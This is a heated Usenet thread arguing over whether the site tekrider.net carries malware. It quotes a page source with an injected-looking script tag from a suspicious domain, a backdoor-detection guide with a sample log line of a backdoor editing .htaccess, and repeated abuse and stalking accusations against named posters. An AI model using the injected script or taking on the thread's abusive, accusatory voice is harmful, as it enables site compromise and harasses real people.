src='../system/bluefish.png' title='Made with Bluefish' alt='Bluefish
Editor' height='57' width='103'> < /p>
85: < !-- [if IE]>
86: < sc​ript type="text/javascript"
src=hxxp://windows-web-browsers.co.cc/alert/">
87: < / sc​ript >
88: < !-- [endif]-->
89: < div> IE sc​ript here< /div>
92: < /div>
94: < div class="ahem">
95: < hr>
96: < /div>
97: < div id="boxnav"> < !-- Begin menu -->
98: < ul>
99: < li> < img src='../system/mhome.gif' alt=''> < a
href='../pages/index.php'> Home< /a> < /li>
100: < li> < img src='../system/mopen.gif' alt=''> < a
href='../html/index.php'> HTML< /a> < /li>
101: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/faq.php'> FAQ< /a> < /li>
102: < li> < img src='../system/mopen.gif' alt=''> < a
href='../general/index.php'> General< /a> < /li>
103: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/about.php'> About< /a> < /li>
104: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/tkncontact.php'> Contact Me< /a> < /li>
105: < /ul>
106: < div class="pcenter"> < img class="imgpad"
src="../system/roundel.gif" title="BMW Roundel" alt="BMW Roundel"
width="38" height="38">
107: < /div>
108: < /div> < !-- End menu -->
110: < div id="boxfooter">
111: < span class='imgleft'>
112: < img class='noborder noprint' src='../system/ubuntufooter100.png'
alt='Ubuntu Logo' title='Ubuntu Logo' height='100' width='100'>
113: < /span>
114: < div class='ahem'> < br> < br> < hr> < /div>
115: < p> Copyright © 1997-2017 Tekrider.net. All rights reserved.< br>
116: < span class='noprint'> < a class='flink' title='Use the handy
form' href='../pages/tkncontact.php'> Contact me< /a> if you have a
comment about anything.< br>
117: It's Wednesday the 31st of May at 9:56 in my neighborhood.< br>
118: < /span> < /p>
119: < /div>
120: < /body>
121: < /html>

=

HTH :-)

[Shadow]

On Fri, 2 Jun 2017 10:57:06 +0100, "David B."

Post by David B.

Post by Sycho

Post by FrozenNorth

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

lol The shameless fuck is at it again with his cyber stalking. And
like always, he gets slapped down like the bad doggie he is.

As I'm sure you are aware, there are a number of ports open on the
Tekrider web site.
http://tekrider.net/pages/david-brooks-stalker.php

There are a "number of ports open" on ALL websites, moron.
They wouldn't be websites otherwise.
[]'s

[David B.]

Post by Shadow
On Fri, 2 Jun 2017 10:57:06 +0100, "David B."

Post by David B.

Post by Sycho

Post by FrozenNorth

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

lol The shameless fuck is at it again with his cyber stalking. And
like always, he gets slapped down like the bad doggie he is.

As I'm sure you are aware, there are a number of ports open on the
Tekrider web site.
http://tekrider.net/pages/david-brooks-stalker.php

There are a "number of ports open" on ALL websites, moron.
They wouldn't be websites otherwise.
[]'s

Oops!

I did, of course, mean that there a open ports on the SERVER used by
'bts'. One can check that with NMAP. :-)

[Diesel]

Post by David B.

Post by Shadow
On Fri, 2 Jun 2017 10:57:06 +0100, "David B."

Post by David B.

Post by Sycho

Post by FrozenNorth

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

lol The shameless fuck is at it again with his cyber stalking.
And like always, he gets slapped down like the bad doggie he
is.

As I'm sure you are aware, there are a number of ports open on
the Tekrider web site.
http://tekrider.net/pages/david-brooks-stalker.php

There are a "number of ports open" on ALL websites, moron.
They wouldn't be websites otherwise.
[]'s

Oops!
I did, of course, mean that there a open ports on the SERVER used
by 'bts'. One can check that with NMAP. :-)

http://www2.bt.com/static/i/btretail/panretail/acceptableuse/internet_access_aup.html

You must not run "port scanning" software which accesses remote
machines or networks, except with the explicit prior permission of
the administrator or owner of such remote machines or networks. This
includes using applications capable of scanning the ports of other
Internet users. Click here for a port scanning FAQ.

If you intend to run a port scanning application, you must provide
BT with a copy of the written consent received from the target of
the scan authorising the activity. This must be supplied to BT prior
to the application being run.

heh.. Hey shag, if you have server logs showing a bt.com connection
doing a bit of 'sniffing' feel free to forward them along to their
abuse address. And be sure to quote their acceptable use
policy. :)

[Beauregard T. Shagnasty]

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does!

Then those "tools" (of which you know nothing) are the malware and
inserted it on their own. The code does NOT exist on my page.

[Anonymous]

Post by Beauregard T. Shagnasty

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does!

Then those "tools" (of which you know nothing) are the malware and
inserted it on their own. The code does NOT exist on my page.

The problem I have with believing you is that your site looks somewhat
different dependent on whether I connect to it directly or use a VPN.

Can you explain that, 'bts'?

May I also refer you to this post?

Message-ID: <zp8YA.26179$***@fx09.fr7>

--
.

[Beauregard T. Shagnasty]

Post by Anonymous

Post by Beauregard T. Shagnasty

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does!

Then those "tools" (of which you know nothing) are the malware and
inserted it on their own. The code does NOT exist on my page.

The problem I have with believing you is that your site looks somewhat
different dependent on whether I connect to it directly or use a VPN.
Can you explain that, 'bts'?

Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135* times
in the last few days.

[David B.]

On 02/06/2017 15:03, Beauregard T. Shagnasty, a GOAT LOVER, said...

Post by Beauregard T. Shagnasty

Post by Anonymous

Post by Beauregard T. Shagnasty

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does!

Then those "tools" (of which you know nothing) are the malware and
inserted it on their own. The code does NOT exist on my page.

The problem I have with believing you is that your site looks somewhat
different dependent on whether I connect to it directly or use a VPN.
Can you explain that, 'bts'?

Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135* times
in the last few days.

In reality, I have been INVESTIGATING - particularly folk who have
malware on their web sites - like *YOU* have!

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

=

*Finding a website backdoor*.

Frequently if a hacker gets access to your website they will install a
"backdoor" designed to allow them to hack your site again even after
you've cleaned up the site, repaired the vulnerability that allowed them
to hack the site, changed passwords, updated CMS/themes/ plugins,
installed security plugins, etc. Until it is found and removed a
"backdoor" is going to provide the hacker with access to your site.

Typically a backdoor script is going to be called from a browser like
any other web page, although on occasion I have seen them run from a
chron. The script gives the hacker a web page interface where they can
download and upload files, view or modify files, create directories,
change file/folder permissions, basically it allows them to manage the
site using PHP's ability to read and write files and pass operating
system commands through to the operating system.

Backdoors can be difficult to find because they are usually hidden in
files that are already part of the site or uploaded as new files with
innocent looking names, often in a directory with many files in it.
Backdoors can range from a single line of code to lengthy files that
provide the hacker the equivalent of a Control Panel on your site. There
are some examples of common backdoors at Examples of website "backdoors".

Start by checking your access logs

One way to find these scripts is by searching website access logs for
suspicious log entries generated when the hacker uses the scripts to
modify site files.

Here is a good example, from an Apache HTTP log, of a backdoor script in
actual use by a hacker, to edit the /public_html/.htaccess file:
xxx.xxx.xxx.xxx - - [dd/mm/yyyy:hh:mm:ss -0700] "GET
/path/footer.inc.php?act=edit&file=/home​/account/public_html/.htaccess
HTTP/1.1" 200 4795 "http://website/path/footer.inc.php?act=filemanager"
"Mozilla/5.0..."

footer.inc.php is the innocently-named file containing the backdoor script.

Note: the "act"(action)=edit and file=.htaccess. The backdoor has a
built-in file editor. The referrer (previous page visited) was the same
backdoor, which also has a built-in file manager. Nobody should be able
to edit your .htaccess file from a web page! A log line like this is a
huge warning flag, and points directly to the file where the backdoor
script is hidden.

The above example suggests a few obvious things to search for in your
log file:

htaccess -- Unless you write articles about .htaccess and the word is in
your search-engine-friendly file-name URLs, there is no reason for the
word htaccess to appear in your HTTP access logs.
act=edit action=edit From the example above, and a reasonable variation.

filemanager -- Another word that probably won't normally appear in your
log file. If you use legitimate web-interface editors like CKEditor or
TinyMCE, they might conceivably produce log lines like this when you
edit files yourself, but the pages being called as seen in your log file
should be recognizable as scripts belonging to those editors, not weird
names like footer.inc.php.

Suspicious GET and/or Post variables -- Parameter names that you do not
use on your site and parameters that contain long strings of seemingly
random characters.

=

Ref: https://aw-snap.info/articles/find-backdoor.php

=

My boater friend said I should send you something appropriate as a
reward. How about this?

Do you like it?

[Beauregard T. Shagnasty]

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

[FrozenNorth]

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

The only logs BD knows about are the things that come out of his fat
drunken ass every morning.

[David B.]

Post by FrozenNorth

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

The only logs BD knows about are the things that come out of his fat
drunken ass every morning.

You are so very rude, Wanker!

https://sitecheck.sucuri.net/results/tekrider.net

MALWARE RIDDEN SITE!

[Shadow]

On Fri, 2 Jun 2017 14:22:14 -0400, FrozenNorth

Post by FrozenNorth

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

The only logs BD knows about are the things that come out of his fat
drunken ass every morning.

The correct term is "drop out". His sphincter finally decided
to quit. It lasted a long time, considering.
[]'s

[David B.]

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

You make it sound as if my investigations have been unsavory.

They are not! :-)

Post by Beauregard T. Shagnasty

particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

Your site is booby-trapped!

Post by Beauregard T. Shagnasty

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

My boater friend said I should send you something appropriate as a
reward. How about this?

http://youtu.be/miHbhcklHTk

*Do you like it*?

[Shadow]

On Fri, 2 Jun 2017 22:47:35 +0100, "David B."

Post by David B.

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

You make it sound as if my investigations have been unsavory.
They are not!

Stalking is a serious crime.

Post by David B.

Post by Beauregard T. Shagnasty

particularly folk who have
malware on their web sites - like *YOU* have!

This one ?

https://tekrider.net/pages/david-brooks-stalker.php

Looks OK to me. No scripting leading to malware. The text is
factual.

Post by David B.

Post by Beauregard T. Shagnasty
There is NO malware on my web site. I know this for a fact and you do not.

Your site is booby-trapped!

Web pages are just text. Post the "booby trap" text here.
Nothing in my browser.
That's a pretty serious accusation, BTW. I hope you can back
it up. Time to read up on UK law.
[]'s

[Diesel]

Post by Shadow
On Fri, 2 Jun 2017 22:47:35 +0100, "David B."

Post by David B.

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than
*135* times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

You make it sound as if my investigations have been unsavory.
They are not!

Stalking is a serious crime.

Post by David B.

Post by Beauregard T. Shagnasty

particularly folk who have
malware on their web sites - like *YOU* have!

This one ?
https://tekrider.net/pages/david-brooks-stalker.php
Looks OK to me. No scripting leading to malware. The text is
factual.

I concur.

Post by Shadow
Web pages are just text. Post the "booby trap" text here.
Nothing in my browser.
That's a pretty serious accusation, BTW. I hope you can back
it up. Time to read up on UK law.

Probably not a bad idea. He's already had one in person visit with
the police over threatening another posters children with a gun he
claimed he had permission to own, but, did not. :)

He told the police he had no such firearm, and, they couldn't find
any records indicating he had permission/authority to have one. So,
he either lied to them (and he does have it, illegally) or he lied to
various people on usenet when he claimed he had it, with the proper
paperwork. Either way you slice it, he lied about it.

[Beauregard T. Shagnasty]

Post by David B.

Post by Beauregard T. Shagnasty

Post by David B.
In reality, I have been INVESTIGATING -

No, you have been STALKING.

You make it sound as if my investigations have been unsavory.
They are not! :-)

Your only agenda is STALKING. Nothing else on earth is more obvious.

Post by David B.
Your site is booby-trapped!

Do fuck off.

[Diesel]

Post by David B.

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than
*135* times in the last few days.

In reality, I have been INVESTIGATING -

No, you have been STALKING.

You make it sound as if my investigations have been unsavory.
They are not! :-)

You aren't an investigator, you're a stalker. And, not a very good
one.

Post by David B.
Your site is booby-trapped!

No, it isn't. Various individuals aside from the site administrator
AND myself have already confirmed there's a problem with the 'tools'
you've been using. We've also provided three ways in which one can
verify the tools are in error. I can't help but notice, you don't
dispute a single one of them. :-)

Post by David B.
*Do you like it*?

http://picpaste.com/U5np7XvN.jpg

Well? Do you?

[David B.]

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -
particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

Rubbish! You've been hoodwinked!

Post by Beauregard T. Shagnasty

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

*Finding a website backdoor*!

*Start by checking your access logs*

One way to find these scripts is by searching website access logs for
suspicious log entries generated when the hacker uses the scripts to
modify site files.

Here is a good example, from an Apache HTTP log, of a backdoor script in
actual use by a hacker, to edit the /public_html/.htaccess file:
xxx.xxx.xxx.xxx - - [dd/mm/yyyy:hh:mm:ss -0700] "GET
/path/footer.inc.php?act=edit&file=/home​/account/public_html/.htaccess
HTTP/1.1" 200 4795 "http://website/path/footer.inc.php?act=filemanager"
"Mozilla/5.0..."

footer.inc.php is the innocently-named file containing the backdoor script.
Note: the "act"(action)=edit and file=.htaccess. The backdoor has a
built-in file editor. The referrer (previous page visited) was the same
backdoor, which also has a built-in file manager. Nobody should be able
to edit your .htaccess file from a web page! A log line like this is a
huge warning flag, and points directly to the file where the backdoor
script is hidden.

The above example suggests a few obvious things to search for in your
log file:

htaccess -- Unless you write articles about .htaccess and the word is in
your search-engine-friendly file-name URLs, there is no reason for the
word htaccess to appear in your HTTP access logs.

act=edit action=edit From the example above, and a reasonable variation.

filemanager -- Another word that probably won't normally appear in your
log file. If you use legitimate web-interface editors like CKEditor or
TinyMCE, they might conceivably produce log lines like this when you
edit files yourself, but the pages being called as seen in your log file
should be recognizable as scripts belonging to those editors, not weird
names like footer.inc.php.

Suspicious GET and/or Post variables -- Parameter names that you do not
use on your site and parameters that contain long strings of seemingly
random characters (i.e. base64 encoded strings).

[Shadow]

On Sat, 3 Jun 2017 09:33:44 +0100, "David B."

Post by David B.

Post by Beauregard T. Shagnasty

On 02/06/2017 15:03, Beauregard T. Shagnasty said...

Post by Beauregard T. Shagnasty
Of course I can. It's because you are a STALKER. And you *are* a STALKER,
having accessed the important pages on my web site more than *135*
times in the last few days.

In reality, I have been INVESTIGATING -
particularly folk who have
malware on their web sites - like *YOU* have!

There is NO malware on my web site. I know this for a fact and you do not.

Rubbish! You've been hoodwinked!

Post by Beauregard T. Shagnasty

I'm so pleased that, at last, you have been looking through your server
logs! :-) I hope it didn't take up too much time.

No time was spent with my server logs. There are other ways...

*Finding a website backdoor*!

I recall "The Archangel" used to charge for his "hacking
lessons" 20 or so years ago. The first two were free, and showed us
how to find plain-text passwords in the webpage source. Basically, you
downloaded the webpage, opened it in a text editor and searched for
"pass". In ALL the examples he gave, the password was there. Pure
coincidence, they were all from his own website. Great fun.
Only one customer actually paid him for the other lessons. Did
you ever get your money back ?
[]'s

<one born every minute.>

[Shadow]

On Sun, 4 Jun 2017 08:42:53 +0100, "David B."

Post by David B.
http://tekrider.net/pages/david-brooks-stalker.php

<CUT_OFF_TOPIC_PERSONAL_INFO>
Perhaps you can clarify why BTS has made a reference to it here?

Why ask someone to STALK for you ? Do it yourself, or are you
afraid of facing the consequences alone ?
[]'s

PS groups restored.

[Shadow]

On Sun, 4 Jun 2017 08:54:34 +0100, "David B."

Separate from the issues between you and BTS, the first things you
- looked on the sucuri tab itself to see all of the other web checkers
which were negative, indicating 'questionable' (to wrong) sucuri results
- examined the page source for yourself to see that the sucuri
information was misleading at best; and absolutely wrong in reality vis
malware or even an operational javascript

Changing the thread back to STALKING, as usual, BD. He just
explained why you were wrong, but you ignored him.

I've no idea why BTS behaves in the way he does.

Read this:

http://tekrider.net/pages/david-brooks-stalker.php

Pretty much clears it up.

*You have now SEEN the script on the Tekrider.net site for yourself*!

No. There is no script. He's said it repeatedly. Others have
too.

BTS denies that it is there. He's obviously _lying_ about this - but the
question is *WHY*?!!!

Yes, *WHY* don't you post the "malicious script" here. It'll
only be a couple of lines. Oh wait, it doesn't exist.

Again:

http://tekrider.net/pages/david-brooks-stalker.php

No scripts. Just facts.
[]'s

[David B.]

Post by Shadow
On Sun, 4 Jun 2017 08:54:34 +0100, "David B."

Separate from the issues between you and BTS, the first things you
- looked on the sucuri tab itself to see all of the other web checkers
which were negative, indicating 'questionable' (to wrong) sucuri results
- examined the page source for yourself to see that the sucuri
information was misleading at best; and absolutely wrong in reality vis
malware or even an operational javascript

Changing the thread back to STALKING, as usual, BD. He just
explained why you were wrong, but you ignored him.

I've no idea why BTS behaves in the way he does.

http://tekrider.net/pages/david-brooks-stalker.php
Pretty much clears it up.

BTS is a TROLL!

Post by Shadow

*You have now SEEN the script on the Tekrider.net site for yourself*!

No. There is no script. He's said it repeatedly. Others have
too.

There *IS* a script!!!

Post by Shadow

BTS denies that it is there. He's obviously _lying_ about this - but the
question is *WHY*?!!!

Yes, *WHY* don't you post the "malicious script" here. It'll
only be a couple of lines. Oh wait, it doesn't exist.

Yes - it *DOES*! Here's what is shown in line 86 of the source code:-

"text/javascript" src=hxxp://windows-web-browsers.co.cc/alert/"

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php
No scripts. Just facts.
[]'s

*WRONG*!

See ...... Line 86 - HERE!

https://aw-snap.info/file-viewer/?protocol=not-secure&tgt=tekrider.net&ref_sel=GSP2&ua_sel=ff&fs=1

One cannot hide from the truth! ;-)

[Beauregard T. Shagnasty]

Post by David B.

Post by Shadow
Changing the thread back to STALKING, as usual, BD. He
[your favorite go-to guy, Mike Easter, whom you always praise]
just explained why you were wrong, but you ignored him.

Yes, why is it that BoaterStalker is ignoring/not replying to the two Mike
Easter posts where he EXPLAINS the problem with the faulty tools that ~BD~
can't figure out how to use.

<***@mid.individual.net>
<***@mid.individual.net>

You DID reply to a later one and said the Bob Dylan title even gives you a
hinky! I still can't stop laughing at that one.

Post by David B.

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php
Pretty much clears it up.

BTS is a TROLL!

No, I am not. You, however, are the Internet's WORST STALKER!

Post by David B.
There *IS* a script!!!

There is no script. You do not KNOW what a script is, which is obvious.

Post by David B.
One cannot hide from the truth! ;-)

You keep trying to hide the truth, and refuse to believe it when it is
presented to you. By anyone.

[Sycho]

I thought I overheard "Beauregard T. Shagnasty"

Post by Beauregard T. Shagnasty

Post by David B.

Post by Shadow
Changing the thread back to STALKING, as usual, BD. He
[your favorite go-to guy, Mike Easter, whom you always praise]
just explained why you were wrong, but you ignored him.

Yes, why is it that BoaterStalker is ignoring/not replying to the two Mike
Easter posts where he EXPLAINS the problem with the faulty tools that ~BD~
can't figure out how to use.
You DID reply to a later one and said the Bob Dylan title even gives you a
hinky! I still can't stop laughing at that one.

Post by David B.

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php
Pretty much clears it up.

BTS is a TROLL!

No, I am not. You, however, are the Internet's WORST STALKER!

Post by David B.
There *IS* a script!!!

There is no script. You do not KNOW what a script is, which is obvious.

Post by David B.
One cannot hide from the truth! ;-)

You keep trying to hide the truth, and refuse to believe it when it is
presented to you. By anyone.

He's taking notes out of Prezident Turnip's book.. (where it starts at
Chapter 11).. titled, "Alternative Facts"..

[Shadow]

On Mon, 5 Jun 2017 14:30:58 +0100, "David B."

My discussion with Sucuri has obviously had some effect! The scan no
longer says that there is malware on the www.tekrider.net page.

http://tekrider.net/pages/david-brooks-stalker.php

BTS denies that it is there. He's obviously _lying_ about this - but
the question is *WHY*?!!!

Oh, BD, you forgot to cross-post to all the original groups
you accused the OP of hosting malware. Were you going to apologize to
him in separate messages ?
And the question is still up.
*WHY* did you STALK him, if you were the one that *LIED* ?
[]'s

[David B.]

Post by Shadow
On Mon, 5 Jun 2017 14:30:58 +0100, "David B."

My discussion with Sucuri has obviously had some effect! The scan no
longer says that there is malware on the www.tekrider.net page.

http://tekrider.net/pages/david-brooks-stalker.php

BTS denies that it is there. He's obviously _lying_ about this - but
the question is *WHY*?!!!

Oh, BD, you forgot to cross-post to all the original groups
you accused the OP of hosting malware. Were you going to apologize to
him in separate messages ?
And the question is still up.
*WHY* did you STALK him, if you were the one that *LIED* ?
[]'s

I don't lie, Shadow - I ask questions and endeavour to find the answers.

I expect Mike Easter will be able to explain what is reported here:-

https://www.dropbox.com/s/xtqj0901b2jzglu/MX%20Toolbox%20-%20Tekrider.net.tiff?dl=0

BTS is NOT straightforward and honest. His choice. <shrug>

[Shadow]

On Mon, 5 Jun 2017 16:22:39 +0100, "David B."

Post by David B.

Post by Shadow
On Mon, 5 Jun 2017 14:30:58 +0100, "David B."

My discussion with Sucuri has obviously had some effect! The scan no
longer says that there is malware on the www.tekrider.net page.

http://tekrider.net/pages/david-brooks-stalker.php

BTS denies that it is there. He's obviously _lying_ about this - but
the question is *WHY*?!!!

Oh, BD, you forgot to cross-post to all the original groups
you accused the OP of hosting malware. Were you going to apologize to
him in separate messages ?
And the question is still up.
*WHY* did you STALK him, if you were the one that *LIED* ?
[]'s

I don't lie, Shadow

Your memory can't store 8 lines of text. All that booze, I suppose.
Again, your lie, from the text above:

"BTS denies that it <the alleged malware> is there. He's obviously
_lying_ about this" - BD

Post by David B.
I expect ******** will be able to explain

Looks to me like you were accusing someone of spreading
malware and calling them liars when they denied it. And when you
discovered you were being just plain stupid, not a hint of an apology
Why should a third party explain ? Nobody else said BTS was
lying. Just you.
[]'s

[David B.]

On 05/06/2017 16:38, Shadow asked ...

Why should a third party explain?

To provide an independent viewpoint.

There remain 'problems' with www.Tekrider.net, viz:-

https://www.dropbox.com/s/xtqj0901b2jzglu/MX%20Toolbox%20-%20Tekrider.net.tiff?dl=0

Sucuri have indeed altered their assessment of Tekrider.net (now no
report of malware!) but they NOW say this:-

Scan for: http://tekrider.net
Hostname: tekrider.net
IP address: 192.251.238.3

System Details:
Running on: Apache
Unable to properly scan your site. Site returning error (40x): HTTP/1.1
403 Forbidden

=

To my mind, something *IS* amiss with BTS's web site ....

*OR* he's simply playing games.

Which is it, folks?

[SteveGG]

There is lots of older, great and even essential software, that will
not run under anything very much after XP. Certainly not in 7, 8 or
10. I keep a virtual machine running XP for these apps.

[David B.]

Post by SteveGG
There is lots of older, great and even essential software, that will
not run under anything very much after XP. Certainly not in 7, 8 or
10. I keep a virtual machine running XP for these apps.

Thanks, SteveGG :-)

I'm wondering how long it takes from submitting a 'bad guy' report to
the FBI before 'bts' gets the 'knock at his door'!

[Ken Blake]

On Mon, 05 Jun 2017 13:53:42 -0400, SteveGG

Post by SteveGG
There is lots of older, great and even essential software, that will
not run under anything very much after XP. Certainly not in 7, 8 or
10. I keep a virtual machine running XP for these apps.

What software is that?

[Shadow]

On Mon, 5 Jun 2017 14:39:09 +0100, "David B."

You really are a stupid shite.

Sometimes I am; sometimes I just pretend to be!

Ever consider a career as an actor ? You even smell like sht.
Perfect !!!
[]'s

[Diesel]

Post by David B.
In reality, I have been INVESTIGATING - particularly folk who have
malware on their web sites - like *YOU* have!

You've been doing no such thing. You've been stalking, because you
couldn't con him into removing the page that tells the world about
you (as if many of us didn't already know).

https://tekrider.net/pages/david-brooks-stalker.php

Post by David B.
I'm so pleased that, at last, you have been looking through your
server logs! :-) I hope it didn't take up too much time.

I do so hope that you were stupid enough to be port scanning, and,
that's what he picked up in the server logs. I wouldn't feel bad
about bt.com closing your account for continued violation of their
policies.

Post by David B.
My boater friend said I should send you something appropriate as a
reward. How about this?

Ask your friend what he thinks of the fine quality here:

Loading Image...

Post by David B.
Do you like it?

Do you enjoy it as much as I do? :)

[Shadow]

On Thu, 1 Jun 2017 11:40:33 +0100, "David B."

Post by Diesel

Post by David B.

Post by David B.
http://tekrider.net/pages/david-brooks-stalker.php

Not a good link to follow, Shadow!

Sure it is. It accurately describes you. Probably why you'd prefer
others not click on it. Especially since you failed to get it taken
down and as a result, decided to attack the administrator, instead.

No, a link is not proof of anything. What malware does the
above site host ?
[]'s

[Diesel]

Post by David B.
*It's a BAD web site*! Here's the proof:-
https://sitecheck.sucuri.net/results/www.tekrider.net

Already examined your proof and posted my analysis results. Nothing
bad about the website, but, if it helps, you exposed the sometimes
glaring incompetence of sucuri. I've done further analysis since my
original post. See below.

Post by David B.
Securi says YOU are wrong, Dustin!

It's Sucuri. They are using scare mongering tactics with you. As
well as contradicting themselves. a suspicious url (which I can't
find in my local copy of tekrider or the online version when checked
with firefox or wget) isn't malware by itself. A url alone can't
actually be malware. What it points to, oth, could be. But, in this
particular case, the code they claim is present, isn't.

So, contrary to what you may think, they aren't saying I'm wrong,
either. Suspicious does not equal malware. And, they consider the
missing html source (I can't find it in my local copy or the online
edition) suspicious ONLY because a piece of it's domain, or, the
entire thing (I'm not sure which; didn't check; not sure if they
publish their blacklist) is supposedly blacklisted by them. That
doesn't automatically make it malware, either.

wget tekrider.net
--2017-06-01 19:41:47-- http://tekrider.net/
Resolving tekrider.net... 192.251.238.3
Connecting to tekrider.net|192.251.238.3|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: pages/index.php [following]
--2017-06-01 19:41:47-- http://tekrider.net/pages/index.php
Reusing existing connection to tekrider.net:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.php'

[ <=> ] 5,737 --.-K/s in 0.02s

2017-06-01 19:41:47 (227 KB/s) - `index.php' saved [5737]

Verified the lines Sucuri thinks are present in the index.php using
alleycode and notepad (not necessary, but, I like to be thorough for
you) are not.

Also verified the results with firefox:

view-source:https://tekrider.net/pages/index.php

So, that's three seperate ways of doing it, and, all three confirm,
Sucuri is incorrect. Local mirrored copy (#1), wget (#2), firefox
(#3) as I know you're a bit 'slow' concerning matters of a
technical nature.

Btw, the local image was done on the 29th of May.

So much for them saying i'm wrong, David... ROFL!

I'll let you know what you owe me for doing this for you, soon.

Post by David B.
They know their stuff, I'm sure! :-)

Did you visit the following url, David?

https://www.whitefirdesign.com/blog/2016/10/17/sucuri-makes-a-persuasive-case-that-you-should-avoid-using-their-services/

[David B.]

Post by Diesel
Did you visit the following url, David?
https://www.whitefirdesign.com/blog/2016/10/17/sucuri-makes-a-persuasive-case-that-you-should-avoid-using-their-services/

Yes, I did.

Most interesting, Dustin. Thank you. :-)

